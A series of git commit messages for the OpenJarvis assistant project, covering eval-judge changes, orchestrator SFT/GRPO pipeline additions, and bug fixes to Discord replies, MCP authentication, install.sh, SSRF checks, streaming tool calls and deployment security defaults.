Replaces gpt-5-mini-2025-08-07 as the default judge everywhere: the 147
eval configs plus the hardcoded defaults in the evals CLI, recipe composer,
comparison config generator, taubench user-simulator, trial runner and
OptimizeConfig.
Haiku is roughly 3x faster on the judging path and we are out of OpenAI
quota, so gpt-5-mini was failing closed on long eval runs.
The orchestrator SFT pipeline was living entirely in the working tree and
never got committed. One script in that lineage (clean_sft_data.py) has
already been lost with no way to recover it, so track the rest before the
same thing happens again:
run_sft_fsdp.py full-parameter FSDP trainer (launched via accelerate)
sft_tokenize.py conversation -> tokens + assistant-only masking
render_sft_data.py record -> chat-template rendering
make_splits.py train / holdout / overfit splits
format_eval_sample.py, upload_to_braintrust.py
scripts/train/ fsdp4.yaml, fsdp8.yaml, eval sbatch
toolorchestra/tracing.py was also untracked despite being imported by
unified.py and rollout.py, which left the branch broken for a fresh
checkout. Add it along with the rest of the ToolOrchestra package split.
Also here: mmlu_pro / supergpqa scorers, expert pricing for the OpenRouter
Qwen builds (estimates, flagged in-file), an expanded calculator/web_search
tool surface, and the reject-sampling clean gate that run_sft_fsdp reads
via --require-clean.
Paths in the sbatch and litellm helpers are now env-driven rather than
hardcoded to one cluster home.
Tools:
- Bridge 4 more real OpenJarvis tools into the orchestrator catalog
(think, apply_patch, pdf_extract, db_query); catalog is now 6 models
+ 11 basic tools.
- Fix the dispatch path so confirmation-gated tools actually run: the
ToolExecutor was built with no confirm callback, so shell_exec (and
any requires_confirmation tool) returned a "requires confirmation"
error instead of executing -- which silently broke TerminalBench.
Headless eval/rollouts now auto-approve.
- Drop dead-end candidates: git_* (need the unbuilt openjarvis_rust
extension and just duplicate shell_exec), browser_* (needs Playwright),
and knowledge_search/sql/retrieval (personal-data RAG, empty on the
academic benchmarks).
SFT data pipeline:
- Reasoning-task loaders (GeneralThought-430K + OpenThoughts3) with an
8K cold-start set and a 30K GRPO prompt pool.
- Domain-dispatched verifier (math/code checkers + Gemini judge fallback,
since the OpenAI key is dead).
- Rejection-sampling generator + unified <tool_call> serializer matching
the GRPO rollout format; base self-sampling driver.
- Drop the old paradigm/tier scaffolding (adp_loader, build, paradigms,
select, serialize, tiers) replaced by the unified path.
Training/eval:
- SFT + GRPO configs for Qwen3.5-9B and gemma-4-12B-it.
- OrchestratorBackend + eval harness over GAIA/TerminalBench/TauBench/
MMLU-Pro/SuperGPQA.
- Cost-aware GRPO reward.
Ignore generated data/ artifacts.
Train a single ~9B orchestrator (Qwen3-8B) for local<->cloud routing via SFT
on synthetic traces derived from NeuLab ADP (agent-data-collection).
- sft_data/: full ADP trajectory loader, tier model + pricing, 4 paradigm
renderers, reward-ranked selection, conversations-JSONL serializer, CLI
- wire sft_trainer._generate_traces() to the pipeline (no GPU / no API keys)
- Qwen3-8B SFT config + scripts/orchestrator CLI wrapper
- offline fixture tests (12)
Heuristic competence labels for the cold-start; real paradigm execution +
GRPO are the documented v2.
Closes#459. Reported by @jasonftl with a precise smoking gun: incoming ChannelMessage has channel="discord" (TYPE label) and conversation_id=<numeric channel id>, but the reply code was using cm.channel as the destination — Discord saw /channels/discord/messages and 404'd silently, blackholing every reply.
The bug was two field-mappings in channel_agent.py:_process_message (the happy path + the exception path):
self._channel.send(
msg.channel, # WRONG — TYPE label
reply,
conversation_id=msg.conversation_id, # WRONG — channel id used as msg-ref-id
)
The existing DiscordChannel.send() contract — proved by the existing test_send_with_conversation_id test — is:
- first positional `channel` = native destination ID (Discord channel id)
- `conversation_id` kwarg = native message ID for reply threading
Fix: swap both fields to the correct ones from ChannelMessage:
self._channel.send(
msg.conversation_id, # Discord channel id
reply,
conversation_id=msg.message_id, # message id for threading
)
Plus a defensive guard in discord_channel.py: when channel is empty, refuse fast with a clear warning instead of POSTing to /channels//messages and silently 404'ing.
3 new tests, 38 affected pass.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Closes#461. Reported and empirically validated by @swilliams76360.
Two bugs prevented authenticated MCP servers (e.g. Home Assistant) from working with OpenJarvis:
1. StreamableHTTPTransport never sent Authorization: Bearer <token> — constructor didn't accept a token kwarg and _build_headers() never set the header. Authenticated MCP servers always returned 401.
2. jarvis ask and jarvis serve never iterated config.tools.mcp.servers — only loaded tools from ToolRegistry. MCP tools were silently dropped on every CLI invocation.
The reporter's 3-file fix was correct; the workflow investigation surfaced a 4th file (agent_manager_routes.py:695, identical broken code) and an adversarial-review catch (MCP clients in _build_tools would be GC'd on function return, closing transports mid-request — fixed by stashing on agent._mcp_clients).
Edits:
- transport.py: token kwarg + Authorization header (skips on empty/None — avoids malformed "Bearer " that triggers confusing 400s).
- mcp/loader.py (NEW): shared load_mcp_tools_from_config helper returning (tools, clients). Caller MUST hold the clients reference.
- builder.py + agent_manager_routes.py: extract cfg.get("token"), forward to transport.
- cli/ask.py: _run_agent calls the loader, dedupes by spec.name (registry wins), stashes clients on agent._mcp_clients.
- cli/serve.py: same pattern in main-agent AND channel-agent paths; mcp_clients initialised before the accepts_tools branch so the post-instantiation reference is always valid.
22 new tests (transport + loader + discovery updates), 179 total cli/server/mcp tests pass on this branch.
Adversarial review interrogated 10 angles — slotted-class attr safety, MCPConfig duck-typing, config.tools.mcp AttributeError risk, dedup precedence, token leak via str(exc), logger scope in serve.py, _mcp_clients shadowing, _channel_mcp_clients lifetime, empty-token future-compat, lazy-import cost shift. Nine non-issues; the tenth (theoretical token leak via httpx exception str()) assessed as low actual risk because the token is a header value, not URL-embedded.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Adds --persona NAME / --persona none and a [memory_files].persona_name config field, resolving ~/.openjarvis/personas/<name>/{SOUL,MEMORY,USER}.md. Default (empty) preserves today's global-persona behavior exactly. Includes a path-traversal guard on persona names. Resolution lives in SystemPromptBuilder._resolve_persona so all callers benefit. Squad-derived: Ada (Qwen3.6-27B) authored the spec independently from the issue+code; Lucy (Qwen3-Coder-Next, 80B-A3B / ~3B active) implemented it; cross-function param threading completed in the test phase. 21 existing tests pass; +8 new persona-scope tests.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Consolidates two reports that overlap in scope:
- #476 (@senki): install.sh hardcoded `--python 3.11` but
pyproject.toml declares `requires-python = ">=3.10,<3.14"`. The
installer should track the project's allowed range, not pin a
conservative-three-years-ago version.
- #484 (@sanjayravit): install.sh crashed on hosts with no
python3/python on PATH because `mark_done`, `beacon`, and
`get_anon_id` all called $PY_CMD via inline Python heredocs.
This PR closes both gaps with five surgical edits to install.sh
(all behavior-preserving for the existing happy path; the bats
tests prove it):
1. get_anon_id — replace `python3 -c uuid` with POSIX
`/dev/urandom + od` + bash substring expansion. Same UUID v4
shape; works on Python-less hosts.
2. beacon — replace the 40-line Python heredoc with curl + a
shell-built JSON payload. All inputs are from controlled
sources (event ∈ fixed vocabulary, stage from stage_label(),
numeric ids/codes from validated arithmetic, anon_id from a
fresh UUID) so no general-purpose JSON escaping is needed.
`|| true` is load-bearing — PostHog 5xx must never abort an
install via the ERR trap.
3. mark_done — replace `python3 -c json.load+update+dump` with
awk that regenerates the file from scratch. Idempotent: if
the key is already marked, return early. Robust against
prior format drift. wsl key is always rewritten last so a
later FORCE_WSL=1 re-run correctly updates it.
4. parse_requires_python — new helper. Greps the project's
requires-python field, handles inclusive (`<=3.13`) and
exclusive (`<3.14`) upper bounds correctly, falls back to
3.11 if pyproject can't be parsed (the previous hardcoded
value — safe under the existing 3.10-3.13 range).
5. create_venv — call parse_requires_python instead of
hardcoding 3.11. The existing uv-managed-Python fallback
(from #444) still kicks in if the host doesn't have the
target version installed.
Adversarial review caught two real bugs before commit:
- HIGH: parse_requires_python's exclusive-bound regex would
also match the digits after `<=` (inclusive bound) and then
incorrectly subtract 1 — producing 3.12 from `<=3.13`. Fixed
by checking the inclusive form first.
- MEDIUM: the new "no Python on PATH" bats test silently skips
symlinking `pgrep` on hosts where it isn't at /usr/bin or
/bin (some minimal BusyBox configurations). Added an explicit
"no matching process" fallback so start_ollama's check works.
New bats coverage:
- `install succeeds with no system Python on PATH (#484)` —
builds a PATH that excludes python3/python and exercises the
full install. Asserts state file is written and contains
greppable step keys.
- `mark_done is idempotent — second mark of same key doesn't
duplicate` — re-runs the install and verifies install_uv
appears exactly once in install-state.json.
- `create_venv picks newest in requires-python range, not
hardcoded 3.11 (#476)` — asserts uv was called with
`--python 3.13` (the upper minor of `>=3.10,<3.14`).
The git stub now includes `requires-python = ">=3.10,<3.14"`
in its fake pyproject.toml so create_venv has something
realistic to parse.
@sanjayravit — your PR #484 motivated this consolidation;
closing that one as superseded with credit.
Co-authored-by: krypticmouse <herumbshandilya123@gmail.com>
Co-authored-by: Claude Opus 4.7 <noreply@anthropic.com>
A [system_prompt] prefix set in config.toml was silently ignored: (1)
load_config()'s section allowlist dropped the [system_prompt],
[memory_files], [compression], and [skills] blocks entirely; (2)
SystemPromptConfig had no prefix field; (3) the builder never prepended
one.
Add the four blocks to the allowlist, add prefix: str = "" to
SystemPromptConfig, and prepend a "prefix" PromptSection at the front of
SystemPromptBuilder's frozen sections so it leads build() output and is
exposed via sections() (#457). Empty prefix emits no section — existing
configs are byte-for-byte unchanged.
Rebuilt on top of #457 (which refactored the builder to PromptSection
objects); the original #452 by @SoulSniper-V2 patched the pre-#457
method. Credit to @SoulSniper-V2. Adds the regression tests the original
PR lacked: config parse + prefix-prepended + empty-prefix-unchanged.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* rlm: expose real tool calls inside the repl
* rlm: wrap long TypeError message in repl
* style(rlm): collapse over-wrapped TypeError to satisfy ruff format
The cherry-picked RLM tool-call work left a `raise TypeError(\n message\n)`
that `ruff format --check` rejects (the PR's own lint-fix commit broke
format). Collapse to `raise TypeError(message)`. No behavior change.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Eddie Richter <eddie.richter@amd.com>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
web_search returned thin, unlabeled results (Tavily default search_depth,
**title**/url/content blob), so small models in the native_react loop
tended to echo URLs instead of synthesizing content (#390). Query Tavily
with search_depth="advanced" and format each result as a labeled block:
### {title}
Source: {url}
Summary: {content or snippet}
joined by `---` separators. DuckDuckGo fallback uses the same labeled
shape. Falls back to a result's `snippet` when `content` is absent.
Extracted from #448 (the web_search portion only; that PR also bundled
an unrelated install.sh rewrite, left out of scope here). Credit to
@sanjayravit for the original fix. Adds tests asserting the labeled
format, the snippet fallback, and search_depth="advanced"; updates the
max_results test for the new call signature.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The run-as-root install case doc still showed the retry command using
the community-operated openjarvis.ai domain, whose TLS is broken and
which the project does not control (#337). Point it at the canonical,
project-controlled GitHub Pages URL, matching README and the install
docs. Documentation only — the bats test it describes asserts exit
code + "root" in stderr and has no URL dependency.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
`jarvis serve` startup was slow on two counts addressed here:
1. discover_engines() probed each registered engine's health() serially,
and every probe is a blocking network check with its own ~2s timeout —
so N dead/slow localhost ports cost N*2s. Run the probes concurrently
in a ThreadPoolExecutor; the existing healthy.sort() normalizes order,
so the result is identical to the serial version. health() impls are
read-only on per-instance HTTP clients with no shared mutable state.
2. The PyPI update check ran a blocking urlopen (up to 3s on a cache
miss) inline before dispatch, delaying every command. Move it to a
daemon thread — it's best-effort and never raises.
Together these remove ~10-30s from cold startup. Adds a regression test
asserting discovery probes overlap (concurrency), not just that output
is unchanged (covered by existing tests).
Note: the larger ~30-40s win — the duplicate SystemBuilder.build() in
serve.py — is NOT addressed here; it's not redundant (the second build
wires a JarvisSystem the inline path never constructs) and needs a
design pass. Deferred.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* fix(security): detect Rust at import time + SSRF Python fallback (#225)
RUST_AVAILABLE was hardcoded to True, so the exported flag never
reflected reality and the pure-Python fallbacks it was meant to gate
were unreachable.
- _rust_bridge: compute RUST_AVAILABLE dynamically by probing the
compiled extension once at import time.
- security.ssrf: check_ssrf now falls back to the existing
_check_ssrf_python implementation when the Rust extension is not
built, instead of raising ImportError. The SSRF guard is
security-critical and must never be silently skipped or crash just
because Rust was not compiled.
- tools.browser: drop the `except ImportError: pass` around the SSRF
check, which previously disabled SSRF protection entirely on installs
without the compiled backend (internal/metadata endpoints reachable).
- tests: cover the Python fallback path (metadata IP, private IP, and
public URL) with RUST_AVAILABLE patched False.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
* test(security): make test_no_hostname backend-agnostic
The cherry-picked #451 fix adds a pure-Python SSRF fallback, but
test_no_hostname asserted the Rust-specific message "Invalid URL". The
Python fallback returns "No hostname in URL" for the same input, so the
SSRF suite failed on exactly the uncompiled-install path #451 targets
(in CI the Rust extension is built, masking it).
Assert the security behavior (URL blocked, non-None reason) and accept
either backend's wording, so the suite passes on both the Rust and
Python paths.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* test(tools): update browser SSRF test for non-bypassable check
The #225 fix removes the `except ImportError: pass` that silently
disabled the SSRF check in browser navigation. The existing
test_execute_ssrf_module_missing asserted that very anti-pattern ("skip
check and proceed"), so it failed once the swallow was removed.
Replace it with tests that assert the SECURE behavior: the SSRF check
runs unconditionally and is honored (a private-IP URL is blocked even
when navigation would otherwise succeed), and a public URL still
navigates. check_ssrf's pure-Python fallback means the import never
fails anymore, so the old skip path no longer exists.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Rahul <therahulll56@gmail.com>
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
* fix(server): load SOUL.md / USER.md context in streaming chat
* refactor+test: extract _build_managed_system_prompt + cover #431
The streaming persona fix was inline and untestable without a live
engine. Extract it into _build_managed_system_prompt (matching this
module's extract-and-unit-test pattern for the streaming helpers) and
add regression tests:
- SOUL.md persona is injected into the streaming system prompt (#431),
- the agent's own template is preserved,
- output matches a directly-constructed SystemPromptBuilder (parity with
the CLI/ask path — the whole point of the fix).
Behavior unchanged from the original PR; this only makes it testable and
locks in CLI parity.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Jon Saad-Falcon <41205309+jonsaadfalcon@users.noreply.github.com>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Some OpenAI models (e.g. gpt-5, the default for a fresh cloud install)
reject a non-default temperature with HTTP 400 "Unsupported value:
'temperature' does not support 0.7 ... Only the default (1) value is
supported." — so the user's very first prompt fails (#426).
Detect that specific 400 (param=temperature + unsupported_value/"only the
default"/"does not support") and retry the create() once without
temperature, mirroring the tools-400 retry in the Ollama and
OpenAI-compat engines. Unrelated 400s are re-raised unchanged.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
`jarvis agents list` crashed with a secondary Rich MarkupError when the
underlying exception message contained markup metacharacters like
`[...]`: the error handler did `console.print(f"[red]Error: {exc}[/red]")`,
and Rich re-parsed the interpolated message as markup (#297).
Escape the dynamic message with rich.markup.escape and keep only the
static "Error:" label styled, so the original error surfaces cleanly
instead of a traceback. Adds a regression test that reproduces the
MarkupError via an exception message with brackets.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Apple FM's stream_response yields cumulative text snapshots, but
OpenAI-compatible clients concatenate delta.content — so streamed
responses were duplicated/stuttered (#378). Diff each snapshot against
the last and emit only the incremental suffix; fall back to the full
snapshot if the model revises earlier text, and skip empty deltas.
Rebased on #377 (apple_fm_sdk migration): uses the options= streaming
API. Adds a stubbed-SDK regression test asserting deltas are
incremental, not cumulative.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* fix(engine): modernize apple_fm_shim for the public apple-fm-sdk
Apple released the official Foundation Models Python SDK as
`apple/python-apple-fm-sdk` (import name `apple_fm_sdk`, distribution
name `apple-fm-sdk`). The shim's `import apple_fm` predates the public
SDK and the per-call API has since moved as well; running the shim
against current `apple-fm-sdk` v0.1.1 fails on import, then on the
`/health` call shape, and again on every `respond` / `stream_response`
keyword.
This change brings the shim up to date with the real SDK without
altering its external OpenAI-compatible contract:
- Import `apple_fm_sdk` (the public name). Update the missing-package
error to point at the GitHub repo since the SDK isn't on PyPI;
installation is `uv pip install -e <clone>`.
- `SystemLanguageModel.is_available()` is an instance method and now
returns `(bool, SystemLanguageModelUnavailableReason | None)`. The
health endpoint instantiates the model and unpacks the tuple, and
surfaces the reason string when the model is unavailable.
- `LanguageModelSession.respond` and `.stream_response` no longer
accept `max_tokens` / `temperature` positionally; they take a
`GenerationOptions` instance via the `options` kwarg. The shim now
builds a `GenerationOptions(temperature=..., maximum_response_tokens=...)`
from each `ChatRequest` and threads it through both paths.
`temperature` is now actually honored (the previous code dropped it
silently).
- Add `response_model=None` to the `/v1/chat/completions` decorator so
FastAPI doesn't try to build a Pydantic field for the
`JSONResponse | StreamingResponse` union return type — that fails
with the FastAPI version pinned in the `server` extra.
- Update the module docstring to reference macOS 26 + Apple
Intelligence (the SDK's actual minimum), not macOS 15.
## How was this tested?
- `uv pip install -e ./python-apple-fm-sdk` against a local clone of
Apple's repo on macOS 26 / M5 Max with Apple Intelligence enabled.
- `uv sync --extra dev --extra server` then `uv run uvicorn
openjarvis.engine.apple_fm_shim:app --host 127.0.0.1 --port 8079`.
- `GET /health` → `{"status": "ok"}` (200).
- `GET /v1/models` → lists `apple-fm`.
- `POST /v1/chat/completions` with messages + temperature +
max_tokens → returns a real Apple Intelligence completion.
- End-to-end through OpenJarvis: add `[engine.apple_fm]
host = "http://localhost:8079"` to `~/.openjarvis/config.toml`,
then `jarvis ask --engine apple_fm --model apple-fm "..."` returns
the same Apple FM response routed through the OpenAI-compatible
engine wrapper.
- `uv run ruff check src/openjarvis/engine/apple_fm_shim.py` and
`uv run ruff format --check src/openjarvis/engine/apple_fm_shim.py`
both pass.
* test(engine): add stubbed-SDK tests for apple_fm_shim migration
Covers the apple_fm -> apple_fm_sdk migration: GenerationOptions carries
temperature + max_tokens and is passed via options= to respond() and
stream_response(), and /health unpacks the (available, reason) tuple
from SystemLanguageModel().is_available().
The real apple-fm-sdk is not installable in CI (not on PyPI; macOS 26 +
Apple Intelligence only), so the tests inject a stub SDK into
sys.modules. They verify the shim's OpenAI-compat wiring, not Apple's
real SDK behavior.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Jon Saad-Falcon <41205309+jonsaadfalcon@users.noreply.github.com>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* fix: copy package includes in Docker build
* fix: copy package includes in GPU Docker builds too
PR #450 fixed the CPU Dockerfile but Dockerfile.gpu and
Dockerfile.gpu.rocm have the identical bug: they COPY src/ then
`uv pip install ".[server]"` without copying the non-src
force-include paths (scripts/install, deploy/windows), so hatchling's
wheel build fails the same way on GPU images (#447).
Adds the two COPY lines to both GPU Dockerfiles and generalizes the
regression test to guard every wheel-building Dockerfile (CPU + both
GPU variants) instead of only the CPU one.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Jon Saad-Falcon <41205309+jonsaadfalcon@users.noreply.github.com>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
When a client streams (stream:true) with explicit `tools`, the server
routed to the agent stream bridge, which ignored request_body.tools, ran
the agent's own tool loop, and word-split filler content into fake token
deltas — dropping the caller's tool_calls. This is the streaming analog
of #414 (whose non-streaming fix was #454).
Now stream+tools bypasses the agent and streams the model's raw
function-calling decision via engine.stream_full(), emitting OpenAI-shape
tool_calls deltas and a tool_calls finish_reason. Adds tool_calls to
DeltaMessage and removes the now-dead _handle_agent_stream.
Verified end-to-end on Ollama (qwen3.5:4b) plus a unit regression test.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Closes#414.
Root cause: routes.py:151 unconditionally routed non-streaming /v1/chat/completions through _handle_agent when an agent was registered. _handle_agent calls agent.run(input_text) which IGNORES request_body.tools entirely, runs the agent's own internal tool loop with its own (different) tool spec, and returns only result.content — never result.tool_calls. The "Understood. If you have another request..." filler is not hardcoded anywhere in OpenJarvis (the cloud_router.py:126 "Understood." is a different Gemini-only injection). It's the model's actual generic response when the agent re-prompts it without the user's intended tools.
Fix: one conditional. Skip _handle_agent when request_body.tools is present — the client is asking for raw OpenAI-compat function-calling, so route to _handle_direct which preserves tool_calls. Plus a forward-looking comment documenting this as an intentional trade-off so a future maintainer doesn't naively remove the guard.
Streaming path left intact (its asymmetry — "use agent_stream WHEN tools present" — is intentional per the existing comment at lines 143-145; reporter's repro is non-streaming).
Two regression tests:
- test_with_tools_bypasses_agent: mocks engine+agent, asserts tool_calls survives, agent.run is NOT called.
- test_without_tools_still_uses_agent: pins existing behavior for the no-tools path.
Reported by @gilbert-barajas — the side-by-side curl repro made the triage tractable.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Reimplements the useful parts of #385 cleanly.
Adds two small cross-platform helpers under `openjarvis.core.utils`:
- `get_python_executable()` — prefers `python3`, falls back to `python` for Windows / minimal distros that only ship the unversioned name.
- `open_browser(url)` — `webbrowser.open` by default; on Windows uses `cmd /c start "" <url>` to avoid console-host edge cases.
Swapped at every hardcoded `python3` / `webbrowser.open` site: `connectors/oauth.py`, `evals/scorers/livecodebench.py`, `scripts/oauth_all.py`, `scripts/install/install.sh` (adds `PY_CMD` detection block), `scripts/quickstart.sh` (adds `MINGW*|MSYS*|CYGWIN*) cmd /c start` case), and the two affected test files. Test files wrap `get_python_executable()` in `shlex.quote()` before interpolating into `shell=True` strings — Windows interpreter paths often contain spaces.
Deliberately different from #385: `openjarvis.core.__init__` does NOT re-export `DEFAULT_CONFIG_DIR` (would have raised ImportError because it's in `openjarvis.core.config`, not the package `__init__`; re-exporting would also force eager import of the heavy config module at every `import openjarvis.core`). `oauth.py` keeps `from openjarvis.core.config import DEFAULT_CONFIG_DIR` alongside the new `from openjarvis.core import open_browser`.
Original API surface and call-site sweep by @sanjayravit in #385 — huge thanks for the careful Windows-compatibility audit. This PR preserves your design while fixing the ImportError edge cases caught during review.
Co-Authored-By: sanjayravit <sanjayravit@users.noreply.github.com>
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Addresses #404 (unable to launch / fully download) and contributes to #309 (stuck on starting api server) by removing the eager numpy import paths that fail hard when a Windows host has a partially-installed or cp314-incompatible numpy.
What changed:
- `src/openjarvis/connectors/embeddings.py` / `hybrid_search.py`: numpy imports are now lazy (inside the method that needs them) with a `TYPE_CHECKING` guard for annotations. Default-argument evaluation no longer touches numpy at module import.
- `src/openjarvis/cli/__init__.py`: the `deep_research_setup` command import is now guarded behind a `try/except Exception` so an OverflowError or ImportError during its module load doesn't crash the entire CLI.
- New regression test in `tests/cli/test_cli.py`: `test_importing_cli_does_not_import_numpy` spawns a subprocess and asserts `numpy` is not in `sys.modules` after `import openjarvis.cli`. Guards against future eager-numpy regressions on Windows.
Reported by @Tentacle39 in #404 and seen alongside @xoomarx's #309. Thanks to both — the Windows-only crash signature made this hard to diagnose without your repros.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
The real `jarvis ask --agent opencode` path passes an InstrumentedEngine
(telemetry wrapper) whose underlying engine — and its `_host` — lives at
`_inner`. The base-URL derivation only checked the top object, so it returned
"", no provider was registered, and opencode 500'd on `openjarvis/<model>`.
Direct construction with a raw engine masked this; only the CLI path exposed
it.
- _derive_openai_base_url now unwraps up to 6 wrapper layers
(`_inner`/`_engine`/`_wrapped`) to find `_host`/`base_url`.
- run() resolves the provider/model spec up front and, when it genuinely
can't (no base URL + bare model name), returns a clear actionable error
instead of letting opencode 500.
Tests: wrapper-unwrap derivation + unresolvable-provider guard. 20 passed,
ruff clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Two hardening fixes for headless use, found while verifying real runs:
- Permissions: opencode's interactive default *asks* before some actions (and
`plan` asks before bash), which would block forever with no TTY. The agent
now writes an explicit permission policy: `build` allows edit+bash, `plan`
denies them (read-only), overridable via a `permission` kwarg. Verified: a
bash task completes without hanging and plan mode refuses to create files.
- Config no longer written into the user's workspace. We now write provider +
permission config to a private temp file referenced via `OPENCODE_CONFIG`
(confirmed honored by opencode), keeping the workspace clean while opencode
still operates there as cwd.
Tests updated to cover `_build_config` (provider presence, per-mode
permission, custom override, no-pollution). 18 passed, ruff clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
A real-model E2E (Ollama qwen3:8b) exposed what unit tests with synthetic
parts missed: `POST /session/{id}/message` returns only the final assistant
message (text/reasoning), while ToolParts live in intermediate assistant
messages. The parser was reading the wrong message, so tool_results was always
empty even when opencode actually edited files.
- run(): after the prompt POST, GET /session/{id}/message and collect parts
across the whole turn for tool extraction (content still comes from the
final message). Verified against a live opencode session.
- _extract_tool_results: success now keys on opencode's state.status ==
"completed" (states: completed | error | running | pending).
- Test now feeds the real full-turn message shape and asserts the write tool
is recovered.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds an `OpenCodeAgent` (registry key `opencode`) that delegates coding tasks
to opencode (https://opencode.ai, MIT) while keeping inference local-first:
OpenJarvis's engine backs opencode via an OpenAI-compatible provider.
How it works:
- Derives an OpenAI-compatible base URL from the engine (e.g. Ollama/vLLM at
`<host>/v1`) and writes an `opencode.json` registering it as an
`@ai-sdk/openai-compatible` provider (`openjarvis/<model>`).
- Spawns a headless `opencode serve` (loopback, random port), waits for
`/global/health`, then drives a session: `POST /session` →
`POST /session/{id}/message` with `model={providerID,modelID}` + agent
(`build`/`plan`) → parses message `parts` (text → content, tool → tool_results)
into an `AgentResult`. `close()` disposes the server.
- opencode is an external binary (not bundled); `run()` returns a clear,
actionable error when it's missing, mirroring ClaudeCodeAgent's degradation.
Verified end-to-end against the real opencode binary wired to a stub
OpenAI-compatible engine: opencode called the local endpoint and the agent
parsed the response (content/finish/model) correctly. Unit tests cover part
parsing, base-URL derivation, provider-config writing (incl. merge), binary
detection, graceful degradation, and run() parsing with a mocked client — 15
passed, ruff clean. Registered via the standard try/except import in
agents/__init__.py; documented in docs/user-guide/agents.md.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
SystemPromptBuilder (which loads the SOUL/MEMORY/USER persona files) was wired
only into the one-shot `jarvis ask` path, so persistent agents run through
AgentExecutor ignored persona entirely. The naive "pass prompt_builder" fix is
insufficient: `prompt_builder` was dropped at every __init__ hop
(ToolUsingAgent never accepted/forwarded it), and monitor_operative/operative
assemble their own system prompt and never consult `_prompt_builder` — so they
would silently ignore it even if it arrived.
Fix:
- `SystemPromptBuilder.persona_sections()` returns just the SOUL/MEMORY/USER
sections (no agent template), for agents that build their own prompt and want
to *append* persona rather than have it replace their instructions.
- `BaseAgent._apply_persona()` appends persona to a self-assembled prompt
(no-op without a builder or persona files).
- Thread `prompt_builder` through the __init__ chain: ToolUsingAgent now
accepts and forwards it to BaseAgent; monitor_operative and operative forward
it and call `_apply_persona()` on their assembled system prompt.
- AgentExecutor constructs a SystemPromptBuilder from config and passes it to
any agent whose __init__ accepts it (same gating as session_store /
memory_backend). Agents that override __init__ without forwarding (e.g.
orchestrator) opt out automatically and keep their own machinery.
Specialized prompts are preserved — persona is appended, not substituted. The
one-shot path is unchanged.
Verified: persona_sections() excludes the template but build() still includes
both; monitor_operative/operative receive the builder through the chain and
their assembled prompt includes the SOUL content. New tests in
tests/agents/test_persona_persistent.py (11 passed; ruff clean).
Closes#376
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
`_stream_managed_agent` had diverged from the canonical cli/ask.py path and
lost three behaviours. All three are fixed via small extracted, unit-tested
helpers:
- #382: cross-request history replay dropped stored `tool_calls`, so the model
never saw its own prior tool use and fabricated tool output on turn 2+.
`_replay_history_messages` now reconstructs the assistant tool-use message
plus matching tool-result messages (synthesised, consistent tool_call_ids).
- #386: only temperature/max_tokens reached the engine. `_sampler_kwargs`
forwards repetition_penalty / top_p / top_k / min_p / frequency_penalty /
presence_penalty when set in the agent config (opt-in; default agents send
nothing extra). Fixes degenerate repetition loops on local models with no
repetition_penalty.
- #395: tools were built with a bare `tool_cls()`, so memory_* / channel_* /
llm tools loaded with no backend and failed on every call.
`_instantiate_managed_tool` injects backend / channel / engine the same way
cli/ask.py::_build_tools does.
Verified empirically: replay emits user → assistant(tool_calls) → tool(result)
with matching ids; sampler extraction forwards only set keys; DI gives memory
tools a backend and llm the engine/model. New tests in
tests/server/test_managed_agent_streaming.py (helpers are pure, so verifiable
without a live engine). 38 passed locally incl. existing route tests.
Closes#382Closes#386Closes#395
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
All three deployment methods bound 0.0.0.0:8000 with no API key, so following
the README produced a server reachable from any device on the network with no
auth. `check_bind_safety` already refuses to start a non-loopback bind without
a key (so these configs actually failed to start) — this wires the key in so
the documented path yields a *working, authenticated* server.
- docker-compose.yml: require `OPENJARVIS_API_KEY` via `${VAR:?...}` so
`docker compose up` fails fast when unset; added `deploy/docker/.env.example`
(un-ignored in .gitignore).
- systemd: add `EnvironmentFile=/etc/openjarvis/env` (no `-` prefix, so a
missing key file blocks startup rather than exposing an open server).
- launchd: bind `127.0.0.1` by default (the personal-device default — no
network exposure, no key needed) with a documented, commented opt-in to
0.0.0.0 + `OPENJARVIS_API_KEY`. Avoids shipping a usable default credential.
- Docs (docker/systemd/launchd) updated with the key-setup step.
- Tests assert each config can't reintroduce an open server, plus
`check_bind_safety` behavior across loopback/public × key/no-key.
Closes#221
